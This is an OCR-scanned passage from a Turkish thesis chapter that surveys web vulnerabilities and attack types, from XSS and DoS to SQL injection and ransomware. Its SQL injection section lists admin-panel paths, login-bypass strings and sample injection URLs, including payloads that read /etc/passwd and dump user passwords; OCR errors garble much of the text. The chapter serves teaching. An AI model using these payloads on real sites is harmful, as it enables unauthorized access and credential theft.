yalnizca tarayici tarafinda c¢alisan bir programlama dilidir ve cerez bilgilerine
erisimden, web  sitelerindeki  verilere  erisime kadar  birgok  islem
gerceklestirebildiginden dolayr siber saldirganlar tarafindan zararli amaglar i¢in

kullanilabilmektedir.

Saldirganlarin tarafindan hedef sistem iizerinde JavaScript kodu ¢alistirmasina olanak
taniyan zafiyetler Siteler arasi betik ¢alistirma zafiyeti (Cross Site Scripting, XSS)
olarak bilinirler. Siteler aras1 betik c¢alistirma zafiyeti gilinlimiizdeki web

uygulamalarinda en ¢ok tespit edilen zafiyetlerden biridir (Gupta ve Gupta, 2017).
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Sekil 3.7 : Xss zafiyeti
XSS zafiyetleri kullanicidan alinan verilerin web uygulamalarinda dogru sekilde
filtrelenmemesinden dolay: ortaya ¢ikan zafiyetlerdir. Zafiyetlerin tetiklenme tiiriine
giirline gore, yansitilmig, depolanmis ve DOM tabanli olarak ii¢ ana baglik altinda

toplanabilmektedir.

Yansitilmig XSS saldirilart HTTP isteklerindeki parametreler ile zararli degerlerin

gonderilmesi vasitasiyla tetiklenirler (Webcitation, 2018).

Diger XSS zafiyet tiirii olan DOM tabanli zafiyet tiirii ile birlikte kalic1 olmayan XSS
saldirilar1 olarak degerlendirilmektedir. Kalici olmayan XSS zafiyetleri HTTP
isteklerinde zararli kodlarin gonderilmesi ve ayiklanmadan web uygulama tarafindan

geri yansitilmasi ile olusmaktadir (Rao ve dig. 2016).

Web uygulamalarinda bazi durumlarda kullanicidan alinan veriler islendikten sonra
kullaniciya yeniden sunulurlar. Herhangi bir web uygulamasina kullanici tarafindan
gonderilen isteklerin okunmasi ve tekrar kullaniciya gonderilmesi yansitilmis XSS
tiiriine 6rnek olarak gosterilebilir. Bu tiir XSS zafiyetleri arasinda en ¢ok karsilasilan
tirdiir. Zararli kodlar kalic1 olarak kayit edilmez fakat hemen kullaniciya gosterilir

(Baranwal, 2012).
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Sosyal miihendislik yontemleri kullanilarak zararli kodlar igeren baglanti saldirgan

tarafindan kurbanin tarayicisinda ¢alistirilabilir. Sekil 3.8’de yansitilmig XSS zafiyeti

gosterilmistir.
........... ﬁ..........l rone e [ . . . .
: : 5 Saldirgan : Filtrelenmeden
: Kullanici Zararl Baglant: Pavi :
Kullanici isteginde: SR BN Paie i kullanilan
web sunucudan < ; , i kullanicidan alinan
dénen cevap : 5 Kullanici zararli ! . parametrelere kod
tarayicida ' : baglantiya erigirse | : yerlestirilebilir.
calistirilr ; \  zararl kodlar | i Zararl kod
: i kullanicinin 5 ' tarayicida galigir.
Tarayici ! tarayicisinda | Tarayici :
= caligir. ' 2
—> ] > ]
= | = .
; : Zararl
; HTTP GET | ' Zararli Kodlar Baglanti;
{ HTTP Cevabi  Istegi + iceren Cevap :
Web Sunucu Web Sunucu
Normal Istek Zararl istek

Sekil 3.8 : Yansitilmig XSS zafiyeti
Depolanmis XSS saldirilarinda zararli betikler saldirilan sistemdeki veri tabani, mesaj
alanlar1, yorum alanlar1 ve benzeri alanlara kayit edilmektedir (Hydara ve dig. 2015).

Bu tiir zafiyetlerde gonderilen zararli kodlar hedef uygulama tarafindan kayzt edilir ve
tekrar kullaniciya gosterilir. Uygulama igerisindeki zafiyet iceren baglantiya erisen

herkesin tarayicisinda zararh kodlar ¢alisacaktir.

Kalict tiirdeki XSS zafiyetleri somiirii kodlar ilgili sayfaya erisen tim ziyaretcileri

etkileyecektir. Sekil 3.9’de kalici tiirdeki XSS zafiyeti gosterilmistir.
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Sekil 3.9 : Depolanmig XSS zafiyeti
Belge Nesnesi Modeli (DOM) web ortaminda yaygin sekilde kullanilan, 6zellikle
HTML belgelerinde nesnelerle etkilesimde bulunmak i¢in bir modeldir. DOM tabanli
XSS zafiyetinde zararli kodlar sayfa igerisinde bagka JavaScript kodlar1 kullanilarak
eklenir. Bu zafiyetler istemci tarafinda ¢alisan JavaScript kodlar1 ve kullanicidan

alian girdilerin filtrelenmeden kullanilmasi ile olugsmaktadir.

Yansitilmis XSS zafiyetinde =zararli kodlar sunucu tarafina yollanip orada
calistirtlirken, DOM tabanli zafiyetlerde hedefin tarayicisinda galistirilir. Sekil 3.10°de
DOM tabanli XSS zafiyeti gosterilmektedir.
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Sekil 3.10 : DOM tabanli XSS zafiyeti

3.2.8 Yetkisiz erisim zafiyeti

Kullanicilar, uygulamalar igerisinde farkli yetkilere sahip olabilirler. Web
uygulamalarinda bu yetkiler belirli alanlara yazma, belirli alanlardan okuma veya
belirli alanlar1 silme gibi farkliliklar gdsterebilir. Erisim kontrolleri web
uygulamalarinda veriye (okuma ve yazma) ilgili kullanicinin yetkileri dahilinde

kisitlanmasidir (Bocic ve Bultan, 2016).

Yetkiler genellikle kimlik dogrulama mekanizmalar1 sonrasinda ilgili kullaniciya
atanmaktadir. Yetkisiz erisim dogru bilgilere (kullanici adi, parola, tek girislik parola,
vb.) sahip olmadan yetkili bir kullanic1 haklarinin bir kismina veya tamamina sahip

olmaktir.

Kimlik dogrulama mekanizmalar1 sonrasinda atanan yetkiler genellikle kullanicinin
tarayicisindan web uygulamasina gonderilen oturum bilgileri ile tutulmaktadir. Bu

oturum bilgileri yetkilerin kontrol edilmesi gereken her sayfada kontrol edilmelidir.
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Kontrol edilmedigi durumlarda saldirganlarin erisim yapmasi bazi bilgilerin disariya

¢ikmasina sebebiyet verebilir.

-4

i 1
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Kisitlamasi Erigim

|

" CEl B o)

Ozel Sayfa Ozel Sayfa Ozel Sayfa | Ozel Sayfa

Erisim Kontrolleri

Sekil 3.11 : Yetkisiz erisim kontrolleri

Yetkisiz erigsimler erisim kontrolleri olmayan ayr1 sayfalar1 test edilerek tespit
edilebilecegi gibi web sayfalarina giden ag trafigi tizerinde degisiklik yapilarak da test
edilebilir.

3.3 Tehdit Nedir?

Tehditler, ag veya aga bagh sistemler iizerindeki zafiyetlerin kullanilmasi ile
olusabilecek risklerdir. Zafiyetlerin meydana getirdigi sorunlar zamanla tehdit halini
alir. Tehditler de sistem tizerinde bir takim riskler meydana getirir. Bu riskler sistem

tizerindeki kullanicilara da sigrayabilir. Risk’1 kisaca sdyle tanimlayabiliriz;

Risk = Tehdit + Zafiyet

3.4 Tehdit Tiirleri

3.4.1 Ag mimarisi kaynakh tehditler
Bir agda kullanilacak ag cihazlarinin segilmesi ve o cihazlarin ag {izerinde dogru
yerlerde bulunmasi ¢ok nem arz etmektedir. Yanlis cihaz se¢imi ya da cihazlarin

yanlis yerlerde konumlandirilmasi ag mimarisi kaynakli tehditlere neden olmaktadir.
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Bu tetkiklerde zayif SSL algoritmalari, konfigilirasyonu sikilagtirilmamis SNMP
servisleri, ag lizerinde IP filtrelemeye tabi tutulmamis yonetim arabirimleri gibi
bulgulara rastlanabilir. Bu tehditleri OSI 7. Uygulama Katmanina kadar (Uygulama
Katmani1 dahil olmak iizere) olan katmanlarda meydana gelebilecek aciklardan

olusturmak miimkiindiir (Muharremoglu, 2013).

3.4.2 Yazihm tasarim kaynakh tehditler
Yazilim kaynakli birgok tehdit bulunmaktadir. Buna 6rnek olarak kodlamalardaki bazi
eksikler ve yanlis kodlamalar mevcut olabilir. Bu da yazilim kaynakli tehdit olarak

degerlendirilir.

Yazilimin yapisindaki tiim teknik agiklar yazilim tasarimi kaynakl tehditlere 6rnektir

ve bu da giivenlik aciklarina, sizmalara neden olabilir.

Sekmeli tarayicilar gliniimiiziin vazgegilmez unsurlarindan biri haline gelmistir. Yakin
bir tarihe kadar tarayict pencereleri birbirinden bagimsiz kontroller halinde
kullanilirken, sekmeli tarayicilar bu ayrik modeli daha merkezi ve kullanish bir halde,
tek pencere altinda toplayip, kullanilabilirligi daha yiiksek bir ¢oziim seklinde

kullanicilara sunmustur.

Bu durumun bir sonucu olarak s6z konusu bilgi giivenligi bakis agisindan
kullanilabilirligin yorumlanmasina geldiginde ise sonu¢ sasirtict olmamaktadir

(Muharremoglu, 2013).
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Sekil 3.12 : Yazilim tasarimi 6rnegi

Istemcinin orada silinen oturum agma kimligi ile daha sonra agilan yeni tarayici
pencereleri, sonlandirilan pencere ile silinen istemci tarafindaki oturum igin bir tehlike

olusturamaz. Ama durum sekmeli tarayicilara degisiklik gosterir.

3.4.3 Oturum sonlandirihirken ortaya ¢ikan tehditler

Bilgisayarda oturum agma konusu normal ya da uzak masaiistiinde olabilir. Bu
oturumlart sonlandirmak i¢in bazi yontem kullanilmaktadir. Bu yontemler kullanici
degistirme, bilgisayar1 kapatma oturum kapatma, uzak baglantiy1 kesme, ve yeniden
baslatma seklinde olabilmektedir. En etkili Onlem bilgisayarin normal olarak
kapatilmasidir. Bilgisayar normal kapatilmazsa RAM {izerinde parola kayith

kalacaktir. Boylelikle muhtemel bir saldirida parola ele gecirilebilecektir.

26



Bu uygulama, bilgisayan kapatmanizi engelliyor

Yine de kapit

Sekil 3.13 : Bilgisayar1 kapatirken goriinen uyari

Bilgisayar1 kapatirken isletim sistemi {lizerinden sadece kapat tusuna basmak yeterli
degildir. Eger bilgisayarda birka¢ program agiksa isletim sistemi iizerinden kapata
bastiktan sonra ekrana Sekil 3.13 deki gibi bir uyar1 gelir. Bu uyariy1 da onaylayip
kapatmak gerekir. Aksi halde oturum agik kalacaktir. Oturumun agik kalmasi da bir
giivenlik a¢1g1 ve tehdit olusturacaktir.

3.5 Saldir1 Nedir?

Saldirilari, sistemlere zarar vermek icin ag veya aga baglh sistemler {izerine yapilan
eylemler olarak tanimlayabiliriz. Saldirilar ¢ogu zaman sistemlerdeki zafiyetlerden
kaynaklidirlar. Bir¢ok saldir1 tlirii mevcut olmakta birlikte, her gegen giin yeni saldir1

tiirleri ortaya ¢ikmaktadir. Bu da yeni bazi zafiyet tiirlerinde kaynaklanmaktadir.
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3.6 Saldir Tiirleri

3.6.1 Hizmet reddi / engelleme (DOS) saldirisi

DOS tipi saldirilar bilgisayar ve teknolojik sistemlerin kullanilabilirligini diistiriip
kullanicilarin sistemlere erisimesine engellemeye yonelik olan saldirilardir. Saldirinin
kolay baslatilmas1 ve ag kaynaklarinin saldiriyr karsilamada yetersiz kalmasindan

dolay1 bu tiir saldirilar ag alt yapisina biiyiik zarar verir.

Hizmet ve ag alt yapisina zarar vermeyi amaglayan bu saldiri, hedeflenen hizmet ve
servisler gecici veya kalict olarak calisamaz hale getirir. Temel amag hedefe giden

biitiin yollar1 engellemektir.

DOS saldirist iki sekilde gerceklestirilir. Birincisi, saldirgan viriis bulastirarak zombi
haline getirdigi bilgisayarlar sayesinde hedef hizmet ve servislerine ¢ok sayida istek

gonderir. Sekil 3.14 da bu durum gosterilmistir.

Zombi Bilgisayarlar

Sekil 3.14 : DOS saldirist

Baglatilan DOS saldirilar karsisinda hedef hizmetin ve servislerin islemci, bellek, bant
genisligi gibi kaynaklar tiiketilerek ¢alisamaz hale getirilir. Ikinci ise; Hedef sisteme

sizilarak ag alt yapis1 ve sunucularin tiim gilivenlik aciklari tespit edilir. Bulunan
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aciktan yararlanilarak hedef servis ¢alisamaz hale getirilir. DOS saldirisinin kapsamli
bir sekilde gerceklestirilmesinden dolay: saldirgan kendini kolaylikla gizler. Saldir
esnasinda genellikle sahte IP adresleri kullanilmaktadir. Bu sebepten dolayr DoS
saldirisinin tespit edilmesi ¢ogu kez miimkiin olmamaktadir. DoS saldirilarinin

etkileri:

e Bilgisayar sistemlerinin hizmet vermesini engelledigi siire i¢inde maddi kayiplara

neden olmaktadir.
¢ Calisanlar veya miisteriler i¢in glivensizliklere neden olmaktadir.

e Bir kurumun sistemine erisimin engellenmesi ile bu kurumun itibar1 eksi yonde

etkilenmektedir.

Bazi Dos saldiri tiirleri sunlardir;

e TCP SYN saldirilar: Bu saldirida kullanict TCP baglantisi ile kurbana baglanir.
Kullanici yasal bir IP adresi kullanarak SYN request paketleri gonderir. Kurban SYN
paketinin geldigi adrese SYN-ACK paketiyle cevap verir.

Kurban ACK paketlerine cevap alamayacagi i¢in defalarca SYN-ACK paketi gonderir.
Boylece kullanict ve kurban arasindaki baglanti agik kalir. Acik kalan baglanti icin
kurban kaynak ayirir. Bu yontem ile saldirgan kaynaklari tiiketerek yeni bir baglantinin

meydana gelmesini engeller.

e UDP Bombing saldirilari: Bu saldirida kurbanin portlarina biiylik miktarda paket
gonderilir. Kurban bu portlarin dinlenip dinlenmedigini kontrol eder. Dinlenmedigini
anlayinca gelen paketlere cevap olarak hedefe ulasilmiyor paketiyle cevap verir.

Kurbana gelen paketler arttik¢a gecikmeler artar ve bir siire sonra erigilemez hale gelir.

e Smurf saldirilar: Bir network {lizerinde saldirganin genel yayin (broadcast) ICMP
paketleri gondermesiyle gerceklesen DoS saldir1 tiiriidiir. Gonderilen ICMP
paketlerinde kaynak adres olarak hedef cihazin IP adresi eklenir. Bu durum network
tizerindeki cihazlarin ICMP paketine yonelik cevaplarini hedef cihaza géndermesiyle

hedef cihazin bant genisliginin dolmasina sebep olmaktadir.

e Ping of Death saldirilari: Saldirgan hedef aldig1 makinaya biiyiikk miktarda bozuk
ping paketleri gonderir. Bu saldirida, IPv4’e gore 65,535 byte olan ping paket
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boyutundan daha biiyiikk ping paketleri gonderilerek hedef sistemin hizmet vermesi

engellenmeye calisilir.

o Buffer overflow saldirisi: Saldirganin hedefledigi cihazin arabellek kapasitesini
asacak boyutlarda ping atarak hafizay1 doldurdugu DoS saldir1 tiiriidiir.

e Land Attack: Saldirgan hedef olarak sectigi cihaza gonderecegi paketlerin icerisinde
bulunan hedef IP adresi ile kaynak IP adresinin yerlerini degistirir. Hedef cihaz, hedef
IP adresine bakarak paketi siirekli olarak kendine gonderir. Bu durumun bu sekilde

devam etmesi sonucu ag ¢oker ve hizmet veremez.

3.6.2 Dagitik hizmet engelleme (DDOS) saldirisi
DDOS yani dagitik hizmet engelleme saldirilar1 tamamen erisilebilirligi hedef alan,
sistemin kaldirabilecegi iist limitin agilmasi sonucu olusan bir saldir1 tiiriidiir. DDOS

saldirisi ile hizmet devre dis1 kalir ve erisilemez.

Sistemin kapasitesinin agilmasi bu saldir1 yonteminin en belirgin 6zelligi olsa da bazen
sistemdeki zafiyetlerden kaynakli da gergeklesebilir. Sunuculardaki ya da sistem

bilesenlerindeki zafiyetler bunlara drnektir.

Bu zafiyetlerden yararlanan saldirganlar sistemin isleyemeyecegi sekilde istek

gondererek sistemi erisilemez hale getirebilir.
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Saldirgan

By
Kurban

Sekil 3.15 : Dagitik hizmet engelleme saldiris1 (DDOS)

Guang Jin ve arkadaglar1 Packet Asymmetry Path Marking(PAMP) sistemini
kullanarak kotii niyetli flooding trafigini belirlemiglerdir. Kullandiklar1 sistem

paketlerin asimetrik olarak sergilenmesidir (Ozer, 2015).

Yen-Hun-Hu ve arkadaslart Window-Based Packet Filtering(WBPF) sistemini
kullanmiglardir. Bu sistemde akis orani normal bant genisliginden fazla ise sistemde
saldirt oldugunu tespit eder. Kuyrukta ¢ok fazla paket olup olmadigina bakarlar (Hu
ve dig. 2004)

Theerasak Thapngam ve arkadaslar1 paket variglarim1 gézlemleyerek, ag trafigindeki

davraniglariyla ¢6ziim bulmuslardir.

Bu teknik ile DDOS atak kaynaklar1 ve gercek kullanicilar arasinda ayirt etme saglanir.

Paket varis oranini kullanarak atak olup olmadig: anlasilir (Thapngam ve dig. 2001).

You-ye Sun ve arkadaglari Deterministic Packet Marking(DPM) sistemini kullanarak
DDOS atak olup olmadigini tespit etmislerdir. Bu metotla ¢ok sayida eszamanli DDOS

saldirganlarinin izini siirer (Sun ve dig. 2011).
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3.6.3 Ortadaki kisi (Man in the middle) saldirisi

Temelde ARP aldatma saldirisinin kullanildigi bu yontemde saldirgan, bulundugu
agdaki hedef cihaz ile hedefin iletisimde bulundugu baska bir cihaz arasindaki trafigi
kendi tizerinden gegirir (Efe, 2005).

Asagida Sekil 3.16 da goriindiigii gibi kullanici ile sunucu arasindaki esas baglantinin
disinda bir ortadaki kisi baglantis1 olusturan saldirgan bu baglanti tizerinden sunucuya
erisir. Yani bir nevi esas baglantidan degil de ayrica baska bir baglant1 olusturan
saldirgan yeni baglanti iizerinden sunucuya erismis olacak, sunucudaki bilgilere

ulasabilecektir.

Esas Baglanti

Ortadaki Kisi Sunucu
Baglantisi

=
Saldirgan

Sekil 3.16 : Ortadaki kisi saldiris1

3.6.4 Kaba kuvvet (Brute force) saldirisi

Brute Force Attack olarak bilinir ve Tiirk¢e’ye Kaba Kuvvet Saldirilar olarak gevrilir.
Kaba kuvvet saldirisi, kimlik dogrulamada kullanilan kullanici ad1 ve parola degerleri
icin alt ve st smirlar1 belirli olacak sekilde karakter, uzunluk ve cesitlerinin

olusturulup denenmesi ile yapilmaktadir (Muharremoglu, 2013).
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Login

Username:
admin

Password:
adminl2345

Login

Sekil 3.17 : Kaba kuvvet saldirisi

Sekil 3.17 de kaba kuvvet saldiris1 denemesi gosterilmistir. Kaba kuvvet saldiri

denemelerinde en ¢ok kullanilan ve bilinen sifreler denenmektedir.

3.6.5 Sozliik (Dictionary) saldirisi

Bu tiir saldirilar 6nceden olusturulmus belirli bir listedeki tiim sézciiklerin denenmesi
ile yapilir. Bu listeler genellikle GB’lar boyutunda olup daha 6nceden calinmis

veritabanlarindan ¢ikartilmis en ¢ok kullanilan kullanict ad1 ve parola bilgilerini igerir.

Pentest islemlerinin diizglin islenmesi i¢in sunucu ile istemci arasinda yapilan her
islemin hem istemciden gidip sunucuya ulagsmadan kontrolii, hem de sunucudan
istemciye geri donen cevabin istemciye ulasmadan araya girilerek bakilmasi ¢ok
onemlidir (Cross, 2007).

3.6.6 Oltalama (Phishing) saldiris1

Siber korsanlarin en ¢ok tercih ettikleri iicretsiz ve en kolay yontem olan spam
glinlimiiziin en temel phishing saldir1 araci haline gelmistir.

Phishing yonteminde gonderilen e-posta igeriklerine goriiniirde gergek bir kurumun
ismi yazilmasina kargin aslinda verilen link gercek sitenin birebir kopyasi olan sahte
tuzak sitedir.

Kullanicilar sahte sitelere girerek oltalama saldirilarina maruz kalirlar. E-postalar
tizerinden tiklanan sahte linkler ile olusur. Bu yontem kullaniciy1 tuzaga diigiirme

yontemini kullanir.
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3.6.7 Kablosuz ag saldirilar:
Kullanicilarin Wi-Fi, kizil6tesi, radyo frekanslar1 gibi kablosuz erisim noktalarini
kullanarak bir aga baglanmasi pratiklik ve kolaylik acisindan tercih edilmektedir

(Sahinaslan ve dig. 2010).

il Wi-Fi Durumu &3
Genel

Badlant
IPv4 Baglantisi: Internet
IPv6 Badlanbsi: Internet erisimi yok
Medya Durumu: Etkin
SSID:
Sure: 05:57:51
Hiz: 72,0 Mb/sn
Sinyal Kalitesi: ﬂm

Ayrintlar... Kablosuz Ozellikleri
Etkinlik

Gonderilen —— L\E — Alinan

Bayt: 7.806.118 g 165.890.204
’:“,‘C')zellilder "“:,‘Devre Dist Birak Tanila

Kapat
Sekil 3.18 : Kablosuz ag baglantisi detay ekran

3.6.8 DHCP iizerinden yapilan saldirilar
DHCEP servisine yonelik saldirilar su sekildedir;

A.DHCP Sunucusunun IP Havuzunun Bosaltilmasi:

Saldirganin kaynak MAC adresini degistirerek DHCP sunucusunun otomatik atamast

i¢in tanimlanmusg biitiin IP’leri kendisine almasi ile gergeklestirilen saldiridir.
B.Yetkisiz DHCP Sunucusu Kurulumu ile Istemcilere Yanls Adreslerin Atanmast:

Aradaki adam saldiris1 (man in the middle) olarak da isimlendirilen bu atakla sifreli

olarak gerceklestirilen SSL gibi haberlesme trafigi saldirgan tarafindan algilanamaz.
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Yetkisiz DHCP Servisi verilmesi saldir1 amagli olmayip 6zellikle son kullanicinin

temin ettigi kablosuz erisim cihazlar1 gibi cihazlardan da kaynaklanabilmektedir.

Bu cihazlar ¢ogunlukla varsayilan olarak DHCP servisi agik olarak satilmakta ve bu
durumda agda kullanilmayan bir IP araligindan adres dagitilmasi s6z konusu
olmaktadir. Bu da istemcilere yanlis IP adresi atanmasina ve ag erisimlerinin devre

dis1 kalmasina sebep olur (Akin, 2008).

192,168.0.22

152.168.0.13

ip adres
192 168.0.77
_ =0 oucrsumicuss B

Sekil 3.19 : DHCP yapis1

3.6.9 SQL injection saldirisi

Kullanicidan (istemciden — client) alinan verilerin herhangi bir kontrolden gegmeden
izinsiz olarak arka tarafda SQL sorgusuna manipiile edilip, belirli bir amaca yonelik
uygulama da kullanilarak sonuglar vermesini saglayan bir zafiyet tipidir. En riskli

giivenlik agiklarindan biridir.



INJECTION
PARAMETRELER ICEREN SQL

. .

Al |==—

|
’

- B

WEB SAYFASI VE SQL CEVABI
INJECTION ICEREN
sQL

3.20 : SQL injection senaryosu

McAfee Labs 2017 verilerine gore website saldirilarilarinin %36’s1 tarayicilar
tizerinden (burada SQL injection saldirilart mevcut) olan saldirilar, %19’u kaba kuvvet
saldirilary, %16°s1 hizmet engelleme yani dos saldirilari, %11°1 de SSL saldirilar

olusturmaktadir.

Yonetim paneline erisim i¢in de bazi kodlar mevcuttur;
adminl.php

adminl.html

admin2.php

yonetici.html

adm/

admin/

administrator/index.html
administrator/index.php
cp.php

cp.html
administrator.htmi
login.php

login.html

admin2.html
yonetim.php
yonetim.html
yonetici.php
admin/account.php
admin/account.html
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admin/index.php
admin/index.html
admin/login.php

admin/login.html

administrator/login.php
administrator/account.html
administrator/account.php
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php

admin.html

admin/cp.php
admin/cp.html
administrator/login.html

administrator.php
administrator/

SQL injection i¢in baz1 kod denemeleri mevcuttur. Website yonetim panellerindeki

kullanict ad1 ve sifre kismina es gegici meta kodlarini yazarak panele giris yapilabilir.

Bu saldir1 deneme yanilma yolu ile asagidaki kodlar kullanilarak yapilabilir. Sekil 3.21

de gosterildigi gibi veya asagidaki ornekleri verilen farkli kod denemeleri ile SQL

injection yapilabilir.

YOonetim Paneli

Kullanici adi:

n Or l'l!'l=H
Sifre:
n Or l'l!'l=H

Sekil 3.21 : Sql injection denemesi

37



admin'--

) or ((XD=((

1] Or +Il

admin"or 1=1 or ""'="
admin™) or ("1"="1"—

"Oor'='or"
anything' OR 'X'='X

T'or'l'="1
"or 1=1or "=
n or 1:1 or IIIl:II

"Or1=1'
‘or 1=1—

or1=1--
"orl=1--
or1=1--

Bazi sql injection i¢in sql kod denemeleri sunlardir;

http://192.168.28.122/sgli/examplel.php?name=root’ or '1'="1

Select * from users where id="root' or '1'="1"
http://192.168.12.16/sqli/examplel.php?name=Kkk’ union select table_name 3,4,5

FROM information_schema.tables %26
http://192.168.2.26/sgli/example4.php?id=2 or 1=1

http://192.168.2.164/sqli/examplel.php?name=root’ union select
1,load_file('/etc/passwd’),3,4,5 %20
http://192.168.3.16/sqgli/example3.php?name=root’/**/or/**['1'="1

http://192.168.4.14/sqgli/example4.php?id=2 union select name,passwd,3,4,5 from
users
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http://192.168.28.122/sqli/example1.php?name=root'
http://192.168.12.16/sqli/example1.php?name=kk'
http://192.168.2.26/sqli/example4.php?id=2
http://192.168.2.164/sqli/example1.php?name=root'
http://192.168.3.16/sqli/example3.php?name=root'/**/or/**/'1'='1
http://192.168.4.14/sqli/example4.php?id=2

3.6.10 Viriis saldirilar:
Viriisler, dosyalarin i¢ine sizan ve i¢ giidiimlii olarak ¢ogalip, yayilmak i¢in dosyalari
kullanan, dosyanin a¢ildig1 anda kendini aktive eden program ya da program pargasi

kotii amagh yazilimlardir.

Viriisleri iiretip yayilmasini saglayan saldirganlar, ¢ogu zaman kullanicilar1 yararl
yazilim gibi gosterdikleri program veya uygulamalarla tuzaga diisiirlirler. Kurbanin
dosyay1 agmasiyla viriisiin dosyanin agildigi cihaza yayilimi baslar ve kotii niyetli
kullanicilarin viriisiin yaziliminda belirledigi komutlarin tuzaga diisiiriilen cihazda
calismasi baslar.Zamanla miidahale edilmezse viriisler tiim cihaza yayilabilir. Hatta

cihazin erisim sagladig: diger cihazlara da yayilabilir (Cisco, 2018).

Viriisler eskiden giintimiize kadar bilgisayarlar ve kurumsal aglar igin tehlike
olusturmaktadir. Glinlimiizde yeni birgok viriis tiirii bulunmaktadir. Bu yeni viriis

tirlerine yonelik yeni yaklagimlar ve yeni 6nlemler uygulamak gerekir.

Son zamanlarda ransomware yani fidye virtisii tiirii oldukg¢a yayginlagsmistir. Fidye

viriisti bulastig1 bilisim sistemlerinde dosyalar sifreler veya tiim sistemi kilitler.

Bulastig1 sistemdeki her tiirlii dosyay:r sifreler. Sifrelenen dosyalar agilamaz ve

erisilemez hale gelir.

Fidye wvirlisii isletim sistemindenki agiklardan yararlanir. Bu saldiriyr yapan
saldirganlar dosyalarin agilmasi i¢in 6zel anahtar gonderebileceklerini belirtirler. Bu

ekrana gelen bir uyari ile goriiniir. Bunun i¢in de fidye isterler.

Diger bir tiir de biitiin sistemi kilitleyip sistemi kullanilamaz hale getirir. Bu tiirde

sadece dosyalar degil biitiin sistem kullanilamaz hale gelir.

Fidye viriisii e-postalardan, tiklanan linklerden ve kaynagi bilinmeyen uygulamalardan

bulasabilmektedir.
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» CryptoLocker

Your personal files are encrypted!

Your rrportant Ses encryption produced on the computer: phatos, videos,
docurnants, otc. Here 5 3 complete k2 of encrypted fies, and you can personally vaeify
thes

Encrypbion was produced uang 3 unigue pubic bay RSA-2018 genaerated for ths
computer. To decrypt Sies you need to obtan tha private key,

The single copy of the private key, which wil dow you to decrypt the Ses, ocated
on 2 secrat server on the Internet, the server wil destray the oy after 3 tre
speched n the window, After that, nobody and never will be able to restore fles

To obtain the private boy for the compator, which will sutomatically decrypt Hhes, you
nood to pay 300 USD [/ 300 EUR [ srder amount n another curercy

ok wNoxte 1o select the method of payment
Any attompt 1o semave o damage ts softweare wll lead to e medhate

Mrivate key will bhe destroyed on dostnstion of thw private key by sesver.
13/10/2013

Sekil 3.22 : Cryptolocker fidye viriisii uyar1 ekrani

Ransomware yani fidye viriisiiniin en ¢ok dikkat ¢ceken ve birbirine benzer 6zelikleri
olan ii¢ tipi vardir. Bunlar cryptolocker, wannacry ve petyadir. Cryptolocker 2013
yilinda ortaya ¢ikan bir fidye viriisiidiir. Iginde e-fatura iceren sahte e-postalar
tizerinden yayilmigtir. Microsoft windows isletim sistemini hedef almistir. E-
postalardaki ekler genelde .zip, .exe gibi tiirde olurlar. E-postalardaki eklerin agilmast

ile bilgisayardaki dosyalar sifrelenmektedir.

Daha sonra saldirganlar dosyalarin agilabilmesi i¢in Sekil 3.22 da goriindiigii gibi fidye
istemektedirler. Bu tiir viriislerin amac1 diger viriisler gibi bilgisayara zarar vermek
degil, dosyalar1 sifrelemektir. Viriis bilgisayardan silinse bile dosyalar hala sifreli

olacaktir. E-postalardaki ekler .zip, .exe gibi tiirde olurlar.

Bir diger ransomware viriisii olan wannacry da benzer yollar ile bulasiyor. 2017 de
ortaya c¢ikan ve iki yiiz binin iizerinde bilgisayar1 etkileyen wannacry fidye viriistiniin
bir diger tipidir.

Wannacry iilkelerin 6nemli sistemlerine bile bulagsmistir. Kurumlari zarara ugratmakta

ve itibar kaybina neden olmaktadir. Bu fidye viriisii ile verilerin gizliligi, biitiinliigii ve

erisilebilirligi tehlikeye girmis oluyor.
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En 6nemlisi de kuruma ait 6nemli bilgiler tigiincii sahislarin eline gegebiliyor. Ayrica
wannacry fidye viriisiiniin ag igerisinde yayilma 6zelligi var. Bunu da agdaki zayif

makineleri tespit edip otomatik olarak onlara da bulasarak yapiyor.

Ooops, your files have been encrypted!

What Happened to My Computer?
Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service.
Payment will be raised on B Can 1 Recover My Files?
51672017 00:47:55 Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.
Time Left 'You can decrypt some of your files for free. Try now by clicking <Decrypt>.
But if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don’t pay in 7 days, you won't be able to recover your files forever.
il We will have free events for users who are so poor that they couldn't pay in 6 months.
Your files will be lost on
How Do I Pay?
Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>,
And send the correct amount to the address specified in this window.
After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am

AN e M daa I

512012017 00:47:55

Time Left

Send $300 worth of bitcoin to this address ‘
bitcoin
it N
s | cneckpomert Ml Deem |

Sekil 3.23 : Wannacry fidye viriisii uyari ekrani

Fidye viriisiiniin bir diger tipi olan petya, 2017 de birgok iilkenin etkilendigi genis ¢aph
bir virlis saldirisidir. Saldirgan diger tiplerde oldugu gibi bu tipte de sifrelenen
dosyalarin agilmasi i¢in fidye istiyor. Eger belirtilen siirede fidye verilmezse

dosyalarin tamaminin silenecegi sdyleniyor.
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Oocops, your important files are encrypted.

e this text, then your files are no longer ac si e , 1se they
Perl you are busy look f vy to 2cover your
e your time. Nobody can rec files without our

We guarantee that you can recover all your files safely and easily. All you
need to do is submit the payment and purchase the decryption key.

Please follow the instructions:

If you already purchased your key, please enter it below.
Rey: _

Sekil 3.24 : Petya fidye viriisii uyar1 ekrani

3.6.11 SSL ile sifrelenmis kriptolu trafiklerde araya girme

SSL (Secure Socket Layer), ag lizerinden iletisim kuran client ve server arasindaki
trafigi sifreleyerek giivenli bilgi alis verisini saglayan ve default’ta 443 nolu portu
kullanan bir giivenlik protokoliidiir (Owasp, 2016).

SSL protokii ile veri karsi tarafa iletilmeden 6nce belirli bir sifreleme algoritmasi ile
sifrelenir ve yalnizca dogru alici tarafindan bu sifre ¢oziilerek gercek veri elde edilir.
1996 yilinda v3.0 versiyonun yaymlanmasiyla biitiin internet tarayicilarinin

destekledigi bir standart hale gelmistir (Owasp, 2017).

Gergekte standartin asil ismi TLS (Transport Layer Security) olmasina ragmen
